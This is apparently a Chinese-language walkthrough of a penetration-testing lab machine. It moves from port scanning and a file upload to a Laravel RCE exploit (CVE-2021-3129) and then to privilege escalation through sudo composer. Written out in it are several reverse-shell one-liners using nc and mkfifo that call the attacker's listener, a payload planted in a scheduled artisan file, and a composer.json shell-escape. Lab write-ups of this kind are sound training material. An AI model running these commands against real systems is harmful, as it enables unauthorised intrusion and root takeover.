启程:
扫描端口,发现开放22,80端口,发现ws.css可能存在exp,经查发现无可利用的exp
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.4p1 Debian 5+deb11u2 (protocol 2.0)
| ssh-hostkey:
| 3072 c9:c3:da:15:28:3b:f1:f8:9a:36:df:4d:36:6b:a7:44 (RSA)
| 256 26:03:2b:f6:da:90:1d:1b:ec:8d:8f:8d:1e:7e:3d:6b (ECDSA)
|_ 256 fb:43:b2:b0:19:2f:d3:f6:bc:aa:60:67:ab:c1:af:37 (ED25519)
80/tcp open http Apache httpd 2.4.56 ((Debian))
|_http-title: W3.CSS Template
|_http-server-header: Apache/2.4.56 (Debian)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
既然服务没有入口点,那么就该扩展自己的攻击面了,所以老样子扫扫目录看看有没有啥东西
尝试了一下发现好玩的只有login.php和register.php,然后尝试了一下弱口令不太行,本来打算爆破一下的
然后发现在register.php创建账号时,看到人家最短密码都要8位数一下子放弃了,后来创建了一个用户登录一下
发现存在一个上传文件的地方,尝试了一下简单的php执行文件上传,看返回包好像没拒绝
然后访问了一下,发现什么都没有,但是爆出来一个版本,果断查查他的exp
然后果然找到一个这个版本存在的RCE的exp
但是这里需要注意两点要使用这个脚本,第一个就是回连的命令要用我这个,第二个就是如果在尝试命令执行失败的情况下,果断重新使用脚本,不然在第一次命令执行失败后,第二次命令会执行不了,必须重启脚本
nc -c /bin/bash 192.168.49.55 1234
然后这里看到我们执行第二个payload的时候,便出现了连接成功的样子
这里也是成功拿到了一个普通用户shell
上传linpeas之后,发现一个用户存在sudo组,然后恰好我们在linpeas中也看到一个password,打算横向一下,结果库库失败
然后我们在尝试密码横向失败之后,在看进程之后发现这个skunk用户底下在执行php文件
然后通过pspy定位到了这个进程
果断插入执行php的专属反弹shell,等待回连
echo "<?php system('rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.49.55 8081>/tmp/f'); ?>" > artisan
然后就是开启监听端口,直接坐等回连即可
因为我们不是已经确认了这个用户在sudo组以下吗,果断使用sudo -l,发现一个二进制执行文件,然后果断去gtfobins上看看有没有利用方法
然后发现可以写在这个lavita底下的json文件中进行写shell
然后这一步写shell时候,注意我们需要回到www-data权限下写
echo '{"scripts":{"x":"/bin/sh -i 0<&3 1>&3 2>&3"}}' >/var/www/html/lavita/composer.json
然后再回到我们现在拿到的用户底下执行这条命令即可成功拿到root shell
sudo /usr/bin/composer --working-dir=$TF run-script x
总结:
最近发现pspy用的需要更频繁了,linpeas已经不太够用了,所以各位要开始多用这个了pspy了,其他难度没啥,很正常
重要链接:
CVE-2021-3129/CVE-2021-3129.py at main · joshuavanderpoll/CVE-2021-3129